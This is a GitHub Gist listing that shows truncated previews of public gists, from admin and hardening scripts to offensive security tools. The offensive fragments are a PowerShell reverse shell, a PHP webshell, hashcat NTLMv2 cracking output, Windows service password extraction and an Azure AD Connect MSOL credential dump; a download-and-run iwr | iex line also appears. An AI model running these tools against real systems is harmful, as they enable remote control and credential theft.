Skip to content

Instantly share code, notes, and snippets.

@staaldraad
staaldraad / mini-reverse.ps1
Created October 3, 2016 14:49
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@mattifestation
mattifestation / CIPolicyParser.ps1
Last active August 29, 2025 19:22
Functions to recover information from binary Windows Defender Application Control (WDAC) Code Integrity policies.
# Ensure System.Security assembly is loaded.
Add-Type -AssemblyName System.Security
function ConvertTo-CIPolicy {
<#
.SYNOPSIS
Converts a binary file that contains a Code Integrity policy into XML format.
Author: Matthew Graeber (@mattifestation)
@jessfraz
jessfraz / boxstarter.ps1
Last active June 23, 2025 13:25
Boxstarter Commands for a new Windows box.
# Description: Boxstarter Script
# Author: Jess Frazelle <[email protected]>
# Last Updated: 2017-09-11
#
# Install boxstarter:
# . { iwr -useb http://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force
#
# You might need to set: Set-ExecutionPolicy RemoteSigned
#
# Run this boxstarter by calling the following from an **elevated** command-prompt:
@ericbaranowski
ericbaranowski / hashcat.txt
Last active April 6, 2018 08:44
Azure GPU password cracking using Hashcat
sudo ./hashcat64.bin -a 0 -m 5600 ntlmv2.hash rockyou.txt --workload-profile 4 --generate-rules 10000 --cpu-affinity --powertune-enable
hashcat (v4.0.1) starting...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: Tesla M60, 2030/8123 MB allocatable, 16MCU
* Device #2: Tesla M60, 2030/8123 MB allocatable, 16MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
@api0cradle
api0cradle / AccessChk.bat
Last active July 14, 2025 14:13
AppLocker hardening
accesschk -w -s -u Users "C:\Program Files" >> programfiles.txt
accesschk -w -s -u Everyone "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "Authenticated Users" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u Interactive "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "This Organization" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "Authentication authority asserted identity" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "Mandatory Label\Medium Mandatory Level" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u %username% "C:\Program Files" >> programfiles.txt
accesschk -w -s -u Users "C:\Program Files (x86)" >> programfilesx86.txt
@mrpapercut
mrpapercut / shell.php
Last active May 19, 2025 08:35
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
@goll
goll / README.md
Last active April 22, 2025 17:08
Docker nftables configuration for Debian 10
@jborean93
jborean93 / Get-ServiceCredential.ps1
Last active July 30, 2025 14:43
Get's the username and password for installed Windows services
# Copyright: (c) 2019, Jordan Borean (@jborean93) <[email protected]>
# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
Function Get-ServiceCredential {
<#
.SYNOPSIS
Retrieve the username and plaintext password for all services installed on the local computer.
.DESCRIPTION
Will retrieve the username and plaintext password for the service(s) specified. This must be run as an
@xpn
xpn / azuread_decrypt_msol_v2.ps1
Last active July 30, 2025 13:07
Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
@AetherEternity
AetherEternity / user.js
Last active December 13, 2024 10:55
Silent firefox
// Mozilla User Preferences
// To change a preference value, you can either:
// - modify it via the UI (e.g. via about:config in the browser); or
// - set it within a user.js file in your profile (create it if it doesn't exist).
//
// Profile folder location on different systems:
// Windows: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
// Mac OS X: Users/<username>/Library/Application Support/Firefox/Profiles/xxxxxxxx.default
// Linux: /home/<username>/.mozilla/firefox/xxxxxxxx.default